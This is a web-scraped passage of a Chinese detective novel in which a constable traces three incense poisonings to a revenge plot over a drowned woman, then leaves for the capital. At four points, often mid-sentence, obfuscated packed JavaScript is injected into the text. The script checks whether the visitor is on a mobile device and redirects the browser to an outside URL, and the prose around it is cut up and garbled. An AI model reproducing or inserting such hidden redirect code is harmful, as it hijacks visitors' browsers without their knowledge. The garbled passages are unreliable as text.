余肖红点头:“前三种我们都能确认,但第四种始终查不出。此毒的药性本应是烈性,但这第四味药似乎起了中和作用,让中毒者死得缓慢而平静,像睡着了一样。我们反复验过多次,只能确定第四味药应该是一种香料或熏香,极罕见,能让人在不知不觉中中毒。” 林霜接话道:“三人的社会关系我们查了无数遍,没有任何交集。周福贵是江南来的,在京城无亲无故;吴秀才是本地人,但穷困潦倒,朋友极少;郑明远是退休小吏,平时深居简出。三人没有共同的朋友,没有共同的仇人,连去过的地方都不一样。一个常去茶馆,一个常去书铺,一个爱逛集市,完全对不上。” 赵统领沉声道:“三个现场我们也反复勘查过,门窗完好,没有打斗痕迹,没有翻动迹象。凶手应该是用毒高手,而且很可能与死者相识,因为茶是死者自己泡的,毒下在茶水里。” 他顿了顿,补充道:“现场能找的线索,我们都找了。周家有一本《论语》,吴家有一堆旧书,郑家有一些信件。都是寻常往来,查不出什么。三人确实没有关联。” 寇晟看向穆青青:“穆姑娘,你办案心思细,先看看卷宗。三个现场,六扇门的人已经查过四轮,能找的线索都找了。我想听听你的看法。除了看看能不能找出他们漏掉的东西,还想从你以前办案的经验中看看有没有什么不同的思路?” 穆青青接过卷宗,从头到尾细看一遍。 卷宗记录得非常详细,每个现场都有勘验图,每个死者都有详细的身世调查,每一处可疑的痕迹都有标注。看得出六扇门的人确实下了功夫。 周福贵的《论语》被翻过,书页间的枫叶书签被记录在案。吴秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243889|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才的旧书被一本本清点过,书目列了整整两页。郑明远的信件被一封封抄录,内容全是寻常问候,无异常。 三个人的社会关系被查了个底朝天:周福贵三十年前从江南来京,先在一家书坊当伙计,后来自己开了杂货铺,与街坊邻居关系平淡,没有仇人。吴秀才是本地人,考中秀才后屡试不第,靠给人抄书为生,穷得叮当响,但从不欠债,与人无争。郑明远在工部当差三十年,为人本分,退休后深居简出,偶尔去寺庙上香,与僧人有来往,但也只是寻常香客。 穆青青合上卷宗,沉默了一会儿。 “三人确实没有关联。”她说,“至少从表面上看,没有任何交集。” 寇晟点头:“我们也是这么认为的。但正因为没有关联,这案子才难办。如果是仇杀,总有仇人;如果是谋财,总有钱财来往。可这三个人,什么都没有。” 穆青青想了想,问:“余姐姐,你说第四味药是某种罕见的香料,能具体些吗?” 余肖红道:“我反复比对过,怀疑这种香料是‘东贞娘’。” “东贞娘?” “对。这是一种极罕见的香料,产自东海之外的岛屿,当地人叫它‘贞娘香’。据说此香有安神之效,但若与某些药物混合,会变成慢性毒药。此香在中原几乎见不到,我也是只在书上读过。” 穆青青心中一动:“东贞娘……这个名字,会不会和‘东’有关?” 余肖红愣了一下:“你是说,东西南北?” 穆青青点头:“南疆断肠花,西域曼陀罗,北地雪上一枝蒿,东海东贞娘。四种毒物,正好对应四个方位。三个死者,分别住在北城、城南、城东。独缺西边。” 寇晟眼睛一亮:“你的意思是,凶手是故意按方位杀人的?” 穆青青道:“不一定。但可以作为一个思路。如果凶手是在进行某种仪式,那下一个目标,很可能在西城。” 林霜立刻道:“我这就去查西城所有独居的中年男子,尤其是与前三名死者有相似之处的人。” 寇晟道:“不急。西城那么大,查起来要时间。穆姑娘,你还有什么想法?” 穆青青想了想,道:“我想去看看现场。” 不纯粹是为了找线索,而是是看看这些人的生活方式。卷宗里写的都是事实,但事实背后,也许有某种‘感觉’。 寇晟点头:“好。余捕快,你陪穆姑娘去。林霜,你继续盯那四种毒物的来源。” 余肖红带着穆青青,先去了北城周家。 周家院子不大,此刻已贴了封条。余肖红撕开封条,推门进去。 屋里陈设简单,落了一层薄灰。穆青青没有急着翻找,只是站在屋子中央,慢慢转了一圈。 她注意到墙角的货架上堆着一些杂物,有油盐酱醋,有针线布头,都是杂货铺常见的货物。周福贵虽然独居,但日子过得还算齐整。 她走到桌边,看着那把茶壶。壶是普通的紫砂壶,壶嘴内侧有一圈白色的水垢。她端起茶壶,凑近闻了闻,有一股淡淡的茶香,已经散得差不多了。 63. 东西南北(2) 余肖红道:“这茶壶我们验过,壶里没毒,毒在茶杯里。” 穆青青点点头,放下茶壶。 她走到床边,看着床头那本《论语》。书页间夹着一片干枯的枫叶,叶子已经发脆,一碰就会碎。她翻开书,里面密密麻麻写满了批注,字迹工整有力。 “周福贵读过书。”她说。 余肖红道:“这个我们也查过,他年轻时也考过功名,没考上。后来就开了杂货铺。” 穆青青把书放回原处,又看了看窗台。窗台上有灰,但有一小块地方灰明显薄一些,像是放过什么东西。她蹲下细看,什么也没有。 从周家出来,穆青青问:“周福贵平时用什么熏香吗?” 余肖红摇头:“卷宗里没提,邻居也说没见过。” 穆青青没再问。 接下来去城南吴家。 吴秀才租住的屋子更逼仄,一间小屋,堆满了书。穆青青一进门,就闻到一股淡淡的霉味混着墨香。她站在门口,没有急着进去,只是看着这间屋子。 屋里光线昏暗,只有一扇小窗。书堆得乱七八糟,有些摞在地上,有些塞在床底。桌上摊着几本书,砚台里的墨早已干透。 余肖红道:“他的书我们都翻过,没什么特别的。多是些借来抄的书,还有几本他自己写的诗文。” 穆青青走到书桌前,随手翻了翻那几本书。都是些常见的典籍,《诗经》《论语》《孟子》,书页泛黄,边角磨损,显然翻阅过很多次。 她蹲下身,看了看床底。床底堆着更多的书,落满了灰。她伸手进去摸了一圈,什么也没有。 站起身时,她的目光落在墙角一堆杂物上。那堆杂物里有几个破旧的瓦罐,一个缺了口的碗,还有几根烧了一半的蜡烛。 她走过去,拿起一根蜡烛看了看。蜡烛很普通,是市面上最常见的白蜡。但蜡烛底部沾着一点暗红色的东西,像是蜡油混了什么。 她用小刀轻轻刮下一点,包好。 余肖红凑过来看:“这是什么?” 穆青青摇头:“不知道,回去验验。” 最后去城东郑家。 郑家院子稍大,有个小院,院里种着一棵石榴树。穆青青在院里站了一会儿,目光扫过每一个角落。 石榴树下落了一层枯叶,她用脚轻轻拨开,什么也没有。 走进屋里,陈设比前两家讲究。桌上放着一套青花瓷的茶具,墙上挂着一幅山水画,书架上摆着几排书,有佛经,有史书,还有一些杂记。 余肖红道:“郑明远在工部当差时,负责过寺庙修缮,所以和僧人有来往。这些佛经,可能就是那时候得来的。” 穆青青走到书架前,随手抽出几本书翻了翻。都是些寻常的书,没有批注,没有夹带。 她走到床边,掀开褥子看了看。床板干净,什么也没有。 打开衣柜,里面几件旧衣裳,叠得整整齐齐。她翻了一遍,在最底层摸到一个硬硬的东西。 拿出来一看,是个巴掌大的木盒。木盒做工精细,上面刻着一朵梅花。 余肖红道:“这盒子我们查过,里面是空的。” 穆青青打开盒子,确实空的。但她把盒子翻过来,在盒子底部的角落里,摸到了一小片干枯的碎片。 碎片很小,边缘卷曲,颜色暗红,和盒底融为一体,肉眼看不出来,但用手可以摸到微微凸起。 她把碎片包好。 回到六扇门,穆青青把今天收集的东西交给余肖红化验。 蜡烛底部的暗红色物质,是普通的蜡油,没什么异常。但那片花瓣,余肖红反复看了很久。 “这是东贞娘的花瓣。”她说,“虽然已经干枯,但形状和纹理都对得上。” 穆青青道:“郑明远家里为什么会有东贞娘的花瓣?” 余肖红想了想:“也许他去过东海?或者有人送他的?” 穆青青摇头:“卷宗里没提他去过东海。他一个工部小吏,一辈子在京城,哪来的东海香料?” 余肖红道:“你的意思是,这花瓣是凶手留下的?” 穆青青点头:“有可能。三个现场,只有郑家发现了花瓣。但凶手不可能只在一个现场留下痕迹。” 她顿了顿,忽然想起什么:“周家窗台上那块灰薄的地方,有没有可能是放过什么东西?吴家蜡烛底部的暗红色,虽然只是蜡油,但会不会是凶手点过香?” 余肖红道:“可我们没在周家和吴家找到花瓣。” 穆青青道:“也许花瓣被风吹走了,或者被清理了。郑家的花瓣藏在木盒角落里,所以留了下来。” 她想了想,又问:“那四种毒物,东贞娘是香料,其他三种是药材。如果凶手是在配制毒药,他需要先有东贞娘。这东西这么罕见,肯定有来源。” 寇晟立即派人去查京城所有的香料铺、药材铺,看谁进过东贞娘。 这一查,还真查出点名堂。 东城有一家“宝香阁”,专营海外香料,老板姓钱,在京城做了三十年香料生意。据他回忆,三个月前,有人来问过东贞娘。那人是个中年男子,穿着普通,但出手阔绰,一口气买了三两东贞娘香粉,付的是现银。 钱老板记得那人,因为东贞娘太贵,寻常人问都不问,那人却连价都不还。 穆青青问:“那人长什么样?” 钱老板想了想:“中等个头,不胖不瘦,穿着灰布棉袍,说话带着点南方口音。别的……记不清了。” 又是南方口音。 穆青青问:“除了他,还有谁买过东贞娘?” 钱老板摇头:“没了。这东西太贵,一年也卖不出去几两。” 这条线索暂时断了。 穆青青把自己关在屋里,把三个死者的卷宗又看了一遍。 周福贵,江南来京,在书坊当过伙计,后来开杂货铺。 吴秀才,本地人,屡试不第,穷困潦倒。 郑明远,工部小吏,负责寺庙修缮,与僧人有来往。 三人确实没有交集。但穆青青注意到一个细节:周福贵年轻时在书坊当伙计,那书坊叫什么名字?卷宗里没写。 她去找余肖红。余肖红翻了翻原始档案,道:“叫‘聚贤书坊’,在城南,二十年前就关了。” 穆青青又问:“吴秀才给人抄书,都是给谁抄?” 余肖红道:“多是些书铺、刻坊,也有私人的。但时间太久,查不清了。” 穆青青又问:“郑明远负责修缮寺庙,他经手过哪些寺庙?” 余肖红道:“城东的善恩寺,城北的净业寺,城南的法源寺,他都负责过。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249849|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 穆青青脑中忽然闪过一个念头:“这些寺庙,有没有刻经坊?” 余肖红一愣:“有。寺就有刻经坊,专门刻印佛经。” 穆青青道:“周福贵在书坊当伙计,书坊会不会和刻经坊有往来?吴秀才给人抄书,会不会也给刻经坊抄过经?郑明远负责寺庙修缮,肯定和刻经坊的人认识。” 余肖红眼睛一亮:“你是说,他们三人可能都去过善恩寺的刻经坊?” 穆青青道:“只是猜测。但可以查查。” 寇晟派人去善恩寺查问。 善恩寺的刻经坊还在,管事的是个老和尚,法号净明,在寺里待了四十多年。他看了三人的画像,想了很久,道:“这个姓周的,我好像有点印象。三十年前,坊里确实有个姓周的伙计,是从江南来的,干了三年就走了。这个姓吴的……没见过。这个姓郑的,郑大人?他来寺里很多次,负责修缮,和坊里的匠人都熟。” 穆青青问:“那个周伙计,和郑大人认识吗?” 净明想了想:“认识。郑大人来的时候,周伙计给他端过茶,两人还聊过几句。聊什么……好像是书法?郑大人夸周伙计字写得好。” 穆青青又问:“吴秀才呢?有没有可能来刻经坊抄过经?” 净明摇头:“这就不清楚了。刻经坊的活都是固定的,很少请外面的抄手。” 这条线索似乎又断了。 但穆青青没有放弃。她换了一个思路,开始研究三人的共同点。不是社会关系,而是“他们是什么样的人”。 周福贵,独居,无儿无女,开杂货铺,生活简单。 吴秀才,独居,无儿无女,穷困潦倒,靠抄书为生。 郑明远,独居,无儿无女,退休小吏,深居简出。 三人都是独居的中年男子,都无儿无女,都没有亲戚往来。 穆青青把这个发现告诉寇晟。寇晟沉吟道:“独居的中年男子,京城少说也有几千人。这范围太大了。” 穆青青道:“但加上‘住在四个方位’这个条件,范围就小多了。凶手是在进行某种仪式,用四种来自四方的毒,杀四个住在四方的独身男子。这背后,一定有某种执念。” 穆青青他们这边一筹莫展时,林霜那边却有了好消息。 首先是西城最近没有发现无名尸体,也没有人报官说有人失踪。这说明凶手极有可能还没动手,目标可能还活着。 其次是林霜在排查城西五十岁上下,没有亲戚往来的单身男人时,发现了这三个死者新的共同点:他们都有失眠的毛病! 穆青青眼睛一亮:“失眠?” 林霜点头:“对。周福贵的邻居说,他经常半夜还在店里点灯,说是睡不着。吴秀才的房东说,他屋里常常半夜还亮着灯,在抄书。郑明远的街坊也说,他夜里总在院子里走动,像是睡不着。” 穆青青道:“那凶手选他们,也许不只是因为方位,还因为他们都有失眠的毛病。凶手送的‘安神香’,正好对症。” 寇晟道:“如果凶手还在找第四个目标,那他一定会找西城一个独居、有失眠毛病的中年男子。” 林霜立刻带人去查。 穆青青则继续深挖这三个死者的社会关系,她始终觉得这三人应该认识。 两天后,林霜带回一个消息。 64. 东贞娘 西城甜水井胡同,住着一个姓王的男人,五十四岁,独居,以给人看相算命为生。邻居说,他夜里常常点着灯,屋里传出嘀嘀咕咕的声音,像是在念经,又像是在和人说话。 穆青青问:“他叫什么名字?” 林霜道:“王德贵。原籍江南,来京城三十多年了。” 又是江南来的。 穆青青想起买东贞娘的那个人,也带着南方口音。也许凶手和这些死者都是江南同乡? 寇晟收到消息,立即派人去查王德贵的底细。 六扇门要查一个人的来历,实在不难。很快有了结果:王德贵三十年前来京城,先在城南摆摊算命,后来才搬到西城。他年轻时,曾在江南一个叫青溪镇的小镇上生活过。 穆青青提议再查周福贵的老家。一查,也是青溪镇。 寇晟当即命人继续追查吴秀才的身世。吴秀才是京城本地人,但他的母亲,原籍青溪镇。 郑明远曾是朝廷命官,来历更好查。查出来的结果是:郑明远的父亲,当年在青溪镇做过官。 四个死者,竟都与同一个江南小镇有关联。 青溪镇三十年前的旧事,很快被翻了出来。 当年镇上有个姓沈的富户,膝下有个女儿,名叫贞娘。沈贞娘与一个书生私定终身,被家人发觉后,那书生被赶走,她也被锁在家中。后来,她投了井。 贞娘。 东贞娘。 穆青青脑中灵光一闪:凶手特意选用东贞娘配毒,杀这四个与青溪镇有关的男人,这是在替沈贞娘复仇。 可沈贞娘死了三十年,谁会替她报仇呢? 沈家的后人很快被查了出来。沈家早已败落,沈贞娘的父母也早没了,家产被族人分光。只有一个弟弟,叫沈青,当年才十岁,后来不知所踪。 寇晟立刻让人去查沈青的下落。 与此同时,林霜那边传来消息,王德贵失踪了。 两天前他还正常出摊,昨天却没出门。邻居敲门没人应,林霜带人翻墙进去,屋里空无一人,桌上放着一包打开了的香粉,还散着淡淡的香气。 余肖红验了那包香粉,脸色一变:“是东贞娘混着其他毒物。他已经用过了。” 穆青青道:“用过了是什么意思?” “这毒要提前配制好再泡茶喝下才会发作。如果只是闻闻的话没事。他已经泡茶给人喝了……” 穆青青打断她:“这么短的时间,人可能还活着!快找人!他屋里有没有什么特别的东西?信?纸条?纪念品?” 林霜他们早就偷偷进过屋子探查过了,她想了想:“有个木盒,里面有几封信,还有一块旧玉。” “什么样的玉?” “是个大玉珠子,串在红绳上,像小孩戴的手串。珠子不大,上面刻着一个字,看不清。” 穆青青心中一动:“拿来我看看。” 林霜很快取来那只手串。 红绳已经褪色发黑,年头不短了。玉珠子是羊脂白的,拇指肚大小,上面刻着一个字,“青”。 穆青青盯着那个字,手指无意识地摩挲着玉珠。手腕上那圈白色的痕迹,忽然有些发痒。 余肖红注意到她的异样:“怎么了?” 穆青青摇摇头:“没什么。只是觉得这个字……有点眼熟。” 她没有多说。但那颗玉珠,让她心里涌起一种说不清的感觉。仿佛在某个遥远的记忆里,她也曾戴过这样的东西。 六扇门正式下令全城搜捕沈青。 根据调查,沈青今年四十左右,当年离开青溪镇后,辗转来到京城,曾在一家香料铺当学徒,后来自己开了个小香料铺,但经营不善,关了。他现在靠给人配制香料为生,行踪不定。 穆青青道:“看来他多半是知道我们查到他了,所以提前带走了王德贵。” 寇晟道:“为什么带走王德贵?如果要杀他,直接下毒就行。” 穆青青想了想:“也许他不想让王德贵死得那么快。也许他想让王德贵亲眼看着什么,或者亲口说出什么。” 她忽然想起王德贵是算命的。三十年前,他给沈贞娘算过命吗?他算出了什么? 穆青青道:“王德贵是最后一个。凶手留着他,可能是有话要问。我们必须在他问完话之前找到他们。” 寇晟立刻调动所有人手,在全城搜捕。 穆青青没有出去搜人。她坐在六扇门的偏厅里,把所有的线索又过了一遍。 沈青,沈贞娘的弟弟。他用了三十年,找到了四个与姐姐之死有关的人。 识字的周福贵或是吴秀才多半是那个私定终身后却抛弃她的书生。另一个当年可能曾撞见过沈贞娘两人私会,极有可能还告诉了沈老爷,从而导致沈家棒打鸳鸯。 郑明远,他父亲当年是青溪镇的官,会不会收了沈家的钱,把周福贵强行赶走? 但沈青为什么要把王德贵带走?王德贵只是算命的,他做了什么? 穆青青翻出王德贵的背景资料。他在青溪镇时,曾给沈贞娘算过一卦;后来事发,沈贞娘又曾托人去找过王德贵,但王德贵那时已经离开了青溪镇,去了京城。 沈青要问王德贵的可能就是这件事,他可能也想知道姐姐当初的卦象到底是怎样的,之后他姐姐又想找王德贵做什么、 沈青要带王德贵去的地方,一定和沈贞娘有关。 穆青青问:“沈贞娘死在哪里?” 林霜道:“青溪镇。但她已经埋了三十年,沈青不可能带人回江南。” 穆青青想了想,又问:“沈贞娘生前最喜欢去哪里?” 林霜摇头。 穆青青忽然想起什么,问余肖红:“东贞娘是香料,沈青是开香料铺的。他会不会在京城某个地方,给沈贞娘设了一个香堂?” 余肖红眼睛一亮:“有可能!如果他要让王德贵在沈贞娘面前忏悔,那地方一定是他认为和姐姐最亲近的地方。” 穆青青立刻让人去查沈青在京城的所有落脚点。他三年前关了香料铺,但铺子还在,一直空着。 那间香料铺,在西城一条偏僻的小巷里。 寇晟立刻带人赶过去。 香料铺的门虚掩着。 穆青青和寇晟悄悄靠近,透过门缝往里看。 铺子里已经搬空了,只剩下几个货架。但最里面的墙上,供着一个牌位,上面写着“先姊沈氏贞娘之位”。牌位前点着香,烟气袅袅。 王德贵被绑在椅子上,嘴里塞着布团,满脸是泪。 沈青站在他面前,手里端着一杯茶。 “……你给她算的那一卦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254151|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她命中有劫。她听了你的话,想和周福贵私奔,结果事情败露。她被锁在家里,托人去找你,想问你有没有别的办法。可你已经走了。她等不到你,最后跳了井。” 沈青的声音很平静,平静得让人发寒。 “我找了你三十年。我找到了那三个人,一个一个送他们上路。吴秀才,那个负心薄幸的书生。周富贵,当年的告密者。郑明远,他爹收了沈家的钱,把吴秀才赶走,让姐姐误以为吴秀才抛弃了她,一时想不开投井自尽了。” 他端起茶杯,凑到王德贵面前。 “你是最后一个。你给她算了那一卦给了她希望,结果又在她最需要你帮助的时候跑了。这杯茶,是东贞娘配的。她生前最喜欢这个香。你喝了,去陪她吧。” 王德贵拼命摇头,呜呜地哭。 沈青的手稳稳地端着茶杯,正要灌下去。 “砰”的一声,门被踹开! 寇晟第一个冲进去,一把抓住沈青的手腕。茶杯掉在地上,茶水溅了一地。 林霜带人冲进来,把王德贵解救下来。 沈青没有挣扎。他站在那里,看着地上的茶水,忽然笑了。 “差一点。”他说,“就差一点。” 沈青被押回六扇门。 审讯时,他供认不讳。他用了三年时间,找到那四个与姐姐之死有关的人,用了三个月,配制毒药,一个一个送出去。东贞娘是姐姐生前最喜欢的香料,他特意用它来配毒,让那四个人死的时候,身上带着姐姐的味道。 寇晟问:“你怎么知道他们有失眠的毛病?” 沈青道:“我跟踪他们,观察了很长时间。周福贵半夜还在店里点灯,吴秀才半夜还在抄书,郑明远半夜在院子里走动。他们都有失眠的毛病,正好可以用安神香。” 穆青青问:“你为什么要把王德贵带走?” 沈青道:“我要让他在我姐姐面前认罪。那三个人,我只是送了毒,让他们死在家里。但王德贵不一样,他给我姐姐算过命,然后又抛下她走了。我要让他亲口说,他当年为什么要走。” 王德贵后来交代,他当年离开青溪镇,是因为算出了沈贞娘命中有死劫,不敢留在那里,怕惹祸上身。他以为走得远远的,就能心安。可三十年来,他夜夜失眠,从没睡过一个安稳觉。 案子结了。 沈青杀了三个人,意图杀第四个人,按律当斩。刑部念其情有可原,又因他主动交代,改判流放三千里。 王德贵被救了下来。他跪在沈贞娘的牌位前,磕了三个头,从此再没给人算过命。 结案后,穆青青在整理证物时,看到了沈青身上搜出来的那串玉珠手串。 红绳已经褪色发黑,显然有些年头了。玉珠是羊脂白的,拇指肚大小,一共七颗,每一颗上都刻着一个字。穆青青认出了其中几个:沈、贞、娘、青。 是沈贞娘戴过的东西。 她拿起手串,凑近细看。手指摩挲着玉珠,冰凉的触感让她的心莫名一动。 就在那一刻,脑海中忽然闪过一个模糊的画面、 一只手,很小很小的手,手腕上戴着一个银镯子。那镯子有点紧,勒出浅浅的红痕。有人在笑,声音很轻,像风一样飘过。 画面一闪即逝。 穆青青愣住了。 66. 进京啦 从二堂出来,穆青青又去见了宋师爷和赵捕头。 宋师爷捻着那截断指,慢悠悠道:“京城不比丰城,凡事多留个心眼。有什么事,写信回来。” 赵捕头倒是爽快,一拍大腿:“行!六扇门!有出息!以后咱们丰城也算出了个能人!” 交接的事,比穆青青想的顺利。 赵捕头很有意思,他特意把刑房的卷宗一摞一摞搬过来,让她慢慢看,说是积累经验,免得去了京城的六扇门被人看轻了。 陆金一、陆金二两兄弟时不时过来搭把手,顺便问些查案的细节。 崔安得了信,跑来跟着她跑了几天,把之前学的那些又巩固了一遍。 崔宁来得最勤。 小姑娘每天下了学就往穆青青这边跑,有时带些自己做的点心,有时只是坐在旁边看她整理东西,一句话不说。有一回,她忽然问: “穆姐姐,你去京城了,还会回来看我们吗?” 穆青青正在叠衣裳,闻言抬头,看着她那双亮晶晶的眼睛。 “会。”她说,“每年都回来。” 崔宁点点头,又低下头,半天没说话。 穆青青走过去,轻轻揉了揉她的脑袋。 “你在家好好跟着爹爹读书,跟着哥哥学查案。等我回来,要考你的。” 崔宁抬起头,用力点头。 “我祖母家也在京城,姐姐你遇到什么难事儿了可以去找我祖母,你就说是宁宁让你去的,她一定会帮你的。” 穆青青自然是点头应了。 交接的事忙了七八日,总算理清了。 这日午后,穆青青去了西市那家书肆。 掌柜的见她进来,眼睛一亮:“这位小哥!您可算是来了!那几篇话本卖得好,东家正催着要新稿呢!” 穆青青笑了笑,把最后一期的润笔银子结了。 掌柜的数了数,递给她一个小布袋:“一共三两八钱,您点点。” 穆青青接过,掂了掂,塞进袖中。 然后才道:“我下个月要去京城了。以后的话本,可能要在京城那边投。” 掌柜的愣了一下,随即却笑得更开心了:“投京城好,投京城更好!我们东家在京城也有书肆,叫‘文汇堂’,在城南甜水井胡同。您去了,只管去找,就说是我介绍的。” 他转身从柜子里翻出一张名帖,递过来:“这是东家的名帖,您拿着,好说话。” 甜水井胡同? 这么巧? 穆青青接过,道了声谢,然后就离开了。 从书肆出来,阳光正好。 街上的柳树已经绿了,细细的枝条垂下来,在风里轻轻晃着。卖糖葫芦的小贩推着车走过,吆喝声拖得长长的。 穆青青站在街口,看着这熟悉的街景,心里忽然有些舍不得。 可她知道,该走了。 三月中旬,调令到了。 寇晟的公文写得简洁:调丰城县捕头穆青青入六扇门,即日赴京。 崔县令亲自把调令送到穆青青手上。 “东西都收拾好了?” 穆青青点点头。 崔县令捻着胡须,看着她,忽然叹了口气:“本官上任那日,在河边救起一个漂着的姑娘,原想着到了丰城,给她找户好人家安置了,也算积德。谁知这姑娘比本官还能干,破了那么多案子,最后还被六扇门要了去。” 他顿了顿,笑道:“可见这缘分,是说不清的。” 穆青青心里一热,起身行礼:“大人恩情,卑职铭记于心。” 崔县令摆摆手:“去吧去吧,路上小心。” 启程那天,是个晴日。 天刚蒙蒙亮,梧桐巷口就聚了一堆人。 崔县令和崔夫人站在最前面,宋师爷捻着断指站在一旁,赵捕头带着陆金一、陆金二几个,一个个穿着崭新的公服,站得笔直。 崔宁拉着穆青青的手,眼睛红红的,却忍着没哭。崔安站在旁边,低着头,不知在想什么。 王娘子挤在人堆里,手里拎着一个包袱:“穆姑娘,这是我烙的饼,路上吃!里头夹了肉馅,可香了!” 李掌柜也递过来一个包袱:“我也没什么别的好东西送你,仍旧是一包茶叶,路上泡水解乏。” 赵阿婆站在最边上,怀里抱着一只橘猫,没说话,只是看着她。 穆青青接过东西,一一道谢。 崔县令走上前,从袖中取出一个小布袋,递给她。 “这是衙门上下凑的一点心意,你拿着路上用。” 穆青青接过来,沉甸甸的。她知道推辞没用,只深深一揖。 “多谢大人,多谢各位。” 赵捕头走过来,拍了拍她的肩膀:“去了好好干,有什么事写信回来。咱们丰城人,不丢人。” 穆青青点点头。 崔宁终于忍不住了,扑过来抱住她,呜呜地哭。 “穆姐姐,你……你一定要回来看我……” 穆青青蹲下身,轻轻擦去她脸上的泪。 “会的。”她说,“你要好好读书,好好跟着你哥哥学本领。等我回来,要考你的。” 崔宁用力点头。 穆青青站起身,环顾一圈。 阳光落在这些熟悉的面孔上,暖暖的。 她转身,往巷口走去。 小荷已经等在马车边,见她们来,掀开车帘。 穆青青正要上车,忽然听见身后传来一阵窸窸窣窣的声响。 回头一看,墙头上蹲着一排猫。 玳瑁猫、橘点点、瓦片,还有几只平时不怎么露面的野猫,挤挤挨挨的,尾巴一摇一摇。 光幕亮了。 【梧桐巷(当前在线:9)】 玳瑁猫:【喵……真的要走了吗?】 橘点点:【喵呜!记得带小鱼干回来!】 瓦片:【喵……别忘了我。】 大黑:【汪!大骨头,我的大骨头别忘啦!】 王家芦花鸡:【咯咯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264543|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哒!下蛋了!我觉得今天下了个双黄蛋!】 墙缝蛐蛐:【瞿瞿……走吧走吧,安静点也好!】 灰鹦鹉:【平安!平安!发财!发财!】 灰老鼠丙:【吱吱!我二舅姥爷家三表哥说京城也有我们家亲戚,你去了记得找他们玩!】 穆青青看着那几行字,忍不住笑了。 她朝它们挥挥手,转身,上了马车。 车帘落下,马蹄声响起。 马车缓缓驶出巷口,驶过熟悉的街道,驶向城门。 穆青青掀开车帘,回头看了一眼。 城墙上,“丰城”两个字在晨光里清晰可见。 她放下车帘,靠在车壁上。 小荷在旁边小声道:“姑娘,你哭了?” 穆青青摇摇头。 “没有。” 去京城的路,比上次慢得多。 穆青青不急着赶路,走走停停。遇到热闹的镇子,就停下来歇一晚,逛逛集市,尝尝当地的小吃。遇到风景好的地方,就多待半日,让小荷去看看花,看看水。 小荷头一回出远门,看什么都新鲜。 “姑娘,这山真高!山尖尖都戳到云里去了!” “姑娘,这河真宽!像一条亮亮的大绸子!” “姑娘,这糖人捏得好可爱,像经常来咱家的那个狸花猫!” 穆青青由着她兴奋,偶尔也下车走走,活动活动筋骨。 夜里住店的时候,她就点上灯,开始写东西。 小荷凑过来看,只看见纸上密密麻麻的字,好奇地问:“姑娘,你在写什么呀?” 穆青青头也不抬:“一个故事。” “什么样的故事?” 穆青青想了想,放下笔,看向窗外黑沉沉的夜色。 “一个大家族的故事。”她说,“江南有个姓沈的人家,祖上做过大官,攒下偌大家业。老宅有三进院落,良田千顷,奴仆成群。可后来,家道败了,人死的死,散的散,只剩下一个空荡荡的老宅,和一口填了枯井。” 小荷听得入神,小声问:“后来呢?” “后来,有个年轻人回到老宅,想查清楚当年到底发生了什么。他翻出旧账本,发现家里的银子一笔一笔往外流,却不知流去了哪里。他问老仆,老仆摇头叹气;他翻家谱,发现好几个人的名字被人用墨涂掉了。最奇怪的是那口枯井,井口压着一块大石头,石头缝里长出的草,比别处的都高。” 小荷打了个寒颤:“姑娘,这故事……有点吓人。” 穆青青笑了笑,继续低头写。 长篇比短篇难写得多。人物要立得住,情节要环环相扣,二十年前的悬案要埋得深,又不能深得读者看不出来。她一边写一边改,改了又写,有时一晚上只能写出几百字。 小荷见她写得起劲,也不打扰,只在一旁做针线,时不时给她添杯茶。 路上走了二十多天,书稿写了三分之一。 四月上旬,她们终于到了京城。 67. 六扇门(1) 城门还是那个城门,街道还是那个街道。穆青青坐在马车里,看着窗外的人来人往,心里却和第一次来时不一样了。 这一次,她知道,她要在这里住下了。 马车穿过几条街,拐进甜水巷,停在那扇黑漆门前。 院门虚掩着,门环上挂着一串铜铃,风一吹,叮当作响。 穆青青推开门,走了进去。 